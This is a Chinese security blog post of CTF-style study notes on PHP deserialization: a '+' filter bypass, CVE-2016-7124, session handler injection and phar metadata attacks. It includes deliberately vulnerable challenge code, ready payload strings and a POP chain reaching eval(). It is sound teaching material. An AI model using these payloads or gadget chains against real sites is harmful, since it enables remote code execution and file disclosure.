PHP反序列化笔记

  • A+
所属分类:代码审计

本文作者:是大方子(Ms08067实验室核心成员)




目录


  • 目录

  • private变量与protected变量序列化后的特点

  • 序列化后的字段长度前面可以加+

    • 题目

    • 解题步骤

  • CVE-2016-7124

    • 漏洞介绍

    • 演示代码

    • 题目

    • 解题步骤

  • PHP Session 反序列化

    • PHP的3种序列化处理器

    • 安全问题

      • 当 session.auto_start=Off 时

        • 测试Demo

    • 题目

    • 解题步骤

  • phar反序列化


private变量与protected变量序列化后的特点


x00 + 类名 + x00 + 变量名 ‐> 反序列化为private变量x00 + * + x00 + 变量名 ‐> 反序列化为protected变量
<?phphighlight_file(__FILE__);class user{    private $name2 = 'leo';    protected $age2 = 19;
public function print_data(){ echo $this‐>name2 . ' is ' . $this‐>age2 . ' years old <br>';    }}$user = new user();$user‐>print_data();echo serialize($user);
?> leo is 19 years oldO:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}

PHP反序列化笔记


序列化后的字段长度前面可以加+


题目

<?php@error_reporting(1);class baby{    public $file;    function __toString(){        if(isset($this‐>file))        {            $filename = "./{$this‐>file}";            if (file_get_contents($filename))            {                return file_get_contents($filename);            }         }    }}if (isset($_GET['data'])){    $data = $_GET['data'];    preg_match('/[oc]:d+:/i',$data,$matches); // 这里匹配到O后面跟着数字就拦截    if(count($matches))    {        die('Hacker!');    }    else    {        $good = unserialize($data);        echo $good;    }}else{    highlight_file("./index.php");}?>


解题步骤


1. 构造序列化对象
<?php// highlight_file(__FILE__);class baby{    public $file;    function __toString(){        if(isset($this‐>file))        {            $filename = "./{$this‐>file}";            if (file_get_contents($filename))            {                return file_get_contents($filename);            }        }    }}
$baby = new baby();$baby‐>file = 'flag.php';echo serialize($baby);
?>
得到如下内容:O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
2. 重构对象
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
3. url编码
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
4. 访问
http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}


CVE-2016-7124


漏洞介绍


当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行


演示代码


<?phphighlight_file(__FILE__);class test{    var $bull;    public function __destruct(){        $this‐>bull = "destruct<br/>";        echo $this‐>bull;        echo "destruct ok!<br/>";    }    public function __wakeup(){        $this‐>bull = "wake up<br/>";        echo $this‐>bull;        echo "wake up ok!<br/>";    }}// 正常payload// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}// 触发漏洞的payload$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';$abc = unserialize($payload);
?>


题目

<?php  class SoFun{    protected $file='index.php';    public function __construct($file){        $this‐>file = $file;
} function __destruct(){ if(!empty($this‐>file)) { //查找file文件中的字符串,如果有'\'和'/'在字符串中,就显示错误 if(strchr($this‐>file,"\")===false && strchr($this‐>file, '/')===false) { show_source(dirname (__FILE__).'/'.$this ‐>file);            }       else{                 die('Wrong filename.');                }        } } function __wakeup(){ $this‐> file='index.php'; } public function __toString(){ return ''; }} if (!isset($_GET['file'])) { show_source('index.php'); } else{        $file=base64_decode( $_GET['file']);        echo unserialize($file); }?>


解题步骤


1. 获得反序列化对象
<?php  class SoFun{    protected $file='index.php';    public function __construct($file){        $this‐>file = $file;    }    function __destruct(){        if(!empty($this‐>file))        {            //查找file文件中的字符串,如果有'\'和'/'在字符串中,就显示错误            if(strchr($this‐>file,"\")===false && strchr($this‐>file, '/')===false)            {                show_source(dirname (__FILE__).'/'.$this ‐>file);            }            else{                die('Wrong filename.');                }        }    }    function __wakeup()    {        $this‐> file='index.php';    }    public function __toString()    {        return '';    }}    if (!isset($_GET['file']))    {      //show_source('index.php');    }    else{              $file=base64_decode( $_GET['file']);        echo unserialize($file);    }$test = new SoFun('flag.php');
echo base64_encode(serialize($test));
结果:Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9?>
2. 利用漏洞
# 把变量数量更改为大于实际的变量数量并重新用base64编码Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
3. 访问URL
http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9


PHP Session 反序列化


PHP的3种序列化处理器


PHP 内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式
处理器
对应的存储格式
php
键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组

安全问题

当 session.auto_start=Off 时

当PHP序列化使用的是php_serialize,反序列化使用的是php的时候就会出现安全问题
此时注入的数据是a=|O:4:"test":0:{} 那么通过php_serialize反序列化储存的结果就是a:1: {s:1:"a";s:16:"|O:4:"test":0:{}";} 根据php的反序列化格式( 键名 + 竖线 + 经过 serialize() 函数反序 列处理的值 ),此时a:1:{s:1:"a";s:16:" 就会被当作键名, O:4:"test":0:{}"; 就会被当作序列化后的值

测试Demo

1. php

<?phpini_set("session.serialize_handler", 'php_serialize');session_start();$_SESSION['a'] = $_GET['a'];?>
2. php
<?phpini_set("session.serialize_handler", 'php');session_start();class peiqi{    public $meat = '123';    function __wakeup(){        echo "I AM Peiqi";    }    function __destruct(){        echo $this‐>meat;    }}?>
先对2.php的peiqi类进行序列化
<?phpclass peiqi{    public $meat = '123';    function __wakeup(){        echo "I AM Peiqi";    }    function __destruct(){        echo $this‐>meat;    }}$a = new peiqi();$a‐>meat = '3333';echo serialize($a);// 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}?>
通过1.php文件 把序列化后的内容写入到session 主要前面要加|
http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}

PHP反序列化笔记

然后访问2.php 触发php处理器进行反序列化session文件

PHP反序列化笔记

此时session文件里面的内容

PHP反序列化笔记


题目


index.php
<?php    ini_set('session.serialize_handler''php');    //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题    require("./class.php");    session_start();        $obj = new foo1();    $obj‐>varr = "phpinfo.php";?>
phpinfo.php
<?php    session_start();    require("./class.php");        $f3 = new foo3();    $f3‐>varr = "phpinfo();";    $f3‐>execute();?>

PHP反序列化笔记

这里为了方便实验把session.upload_progress.cleanup变成off

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(__FILE__);
class foo1{ public $varr; function __construct(){ $this‐>varr = "index.php"; } function __destruct(){ if(file_exists($this‐>varr)){ echo "<br>文件".$this‐>varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; }}
class foo2{ public $varr; public $obj; function __construct(){ $this‐>varr = '1234567890'; $this‐>obj = null; } function __toString(){ $this‐>obj‐>execute(); return $this‐>varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; }}class foo3{ public $varr; function execute(){ eval($this‐>varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; }}
?>


解题步骤


通过上面的学习,我们明白需要通过php_serialize来序列化,通过php来进行反序列化。
所以我们通过phpinfo.php来序列化,通过index.php来反序列化。 
但是我们如何往session里面写入内容呢?
当session.upload_progress.enabled开启时,PHP能够在每一个文件上传时监测上传进度。
当POST中有一个变量与php.ini中的session.upload_progress.name变量值相同时,上传进度就会写入到session中

PHP反序列化笔记

写入到session的数据内容为:session.upload_progress.prefix与 session.upload_progress.name连接在一起的值

PHP反序列化笔记

链接:https://bugs.php.net/bug.php?id=71101

<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form‐data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />    <input type="file" name="file" />    <input type="submit" /></form>
这样我们就可以控制session里面的内容了
这样利用漏洞的2个条件都有了
我们在看下3个php代码之间的关系 
  1. php.php -> 用来写入序列化内容

  2. index.php -> 用来进行反序列化

  3. class.php -> 用来被触发执行恶意代码


我们在仔细看下class.php的代码 
在这之前我们先介绍下,PHP的常用魔术方法 
  1. __wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用 _wakeup 方法,预先准备对象需要的资源

  2. __construct:具有构造函数的类会在每次创建新对象时先调用此方法。

  3. __destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

  4. __toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。


在class.php的foo3类中我们看到
function execute(){          eval($this‐>varr);    }
所以我们需要给varr赋值,来执行语句 
在foo2中我们看到
function __toString(){          $this‐>obj‐>execute();          return $this‐>varr;    }

所以我们需要把obj实例化成foo3对象,并且这个是__tosgtring()的魔术方法 

在foo1中我们看到

function __destruct(){          if(file_exists($this‐>varr)){              echo "<br>文件".$this‐>varr."存在<br>";          }          echo "<br>这是foo1的析构函数<br>";    }

所以我们需要把varr实例化成foo2,来调用__tostring的魔术方法 

1. 我们先构造序列化内容

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(__FILE__);
class foo1{ public $varr; function __construct(){ $this‐>varr = "index.php"; } function __destruct(){ if(file_exists($this‐>varr)){ echo "<br>文件".$this‐>varr."存在<br>";        } echo "<br>这是foo1的析构函数<br>"; }}
class foo2{ public $varr; public $obj; function __construct(){ $this‐>varr = '1234567890'; $this‐>obj = null; } function __toString(){ $this‐>obj‐>execute(); return $this‐>varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; }}
class foo3{ public $varr; function execute(){ eval($this‐>varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; }}
$a = new foo1();$b= new foo2();$c = new foo3();$a‐>varr = $b;$b‐>obj = $c;$c‐>varr = "echo 'dfz';";
echo serialize($a);// 输出结果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}
?>

2. 通过html页面,写入到session,同时序列化内容前要加上 |

PHP反序列化笔记

3.访问index.php

PHP反序列化笔记


phar反序列化

https://blog.ripstech.com/2018/new-php-exploitation-technique/

利用phar函数可以在不适用unserialize()函数的情况下触发PHP反序列化漏洞 

漏洞点在使用phar://协议读取文件时,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化 通过一下代码创建一个phar文件

通过一下代码创建一个phar文件

<?php// create new Phar$phar = new Phar('test.phar');$phar‐>startBuffering();$phar‐>addFromString('test.txt', 'text');$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta dataclass AnyClass {}$object = new AnyClass;$object‐>data = 'rips';$phar‐>setMetadata($object);$phar‐>stopBuffering();?>

若出现下面这样的提示

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive"test.phar" disabled by the php.ini setting phar.readonly' inD:phpstudyPHPTutorialWWWtestphar.php:3 Stack trace: #0D:phpstudyPHPTutorialWWWtestphar.php(3): Phar‐>__construct('test.phar') #1 {main}thrown in D:phpstudyPHPTutorialWWWtestphar.php on line 3

把php.ini中的phar.readonly 改为 Off重启即可

PHP反序列化笔记

phar文件的二进制内容如下

PHP反序列化笔记

这个时候我们创建另一个php

<?phpclass AnyClass {    function __destruct() {        echo $this‐>data;    }}// output: ripsinclude('phar://test.phar');?>
访问就可以看到网页输出rips

PHP反序列化笔记

除了include还可以使用下列函数
include('phar://test.phar');var_dump(file_exists('phar://test.phar'));var_dump(file_get_contents('phar://test.phar'));var_dump(file('phar://test.phar'));# 改了文件名同样有效果var_dump(file_get_contents('phar://test.jpg'));var_dump(file_exists('phar://test.jpg'));var_dump(file('phar://test.jpg'));include('phar://test.jpg');
// 网站上的代码,同样可以file_exists($_GET['file']);md5_file($_GET['file']);filemtime($_GET['file']);filesize($_GET['file']);
md5_file($_GET['file']);演示:

PHP反序列化笔记

这样我们利用phar来执行任意代码
<?php// create new Phar$phar = new Phar('test.phar');$phar‐>startBuffering();$phar‐>addFromString('test.txt', 'text');$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta dataclass AnyClass {}$object = new AnyClass;$object‐>data = 'rips';$object‐>data1 = 'phpinfo();';$phar‐>setMetadata($object);$phar‐>stopBuffering();?>
<?phpclass AnyClass {function __destruct() {    echo $this‐>data;    eval($this‐>data1);}}// output: ripsmd5_file($_GET['file']);?>?>

PHP反序列化笔记





PHP反序列化笔记
Ms08067安全实验室
专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:www.ms08067.com

本文始发于微信公众号(Ms08067安全实验室):PHP反序列化笔记

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: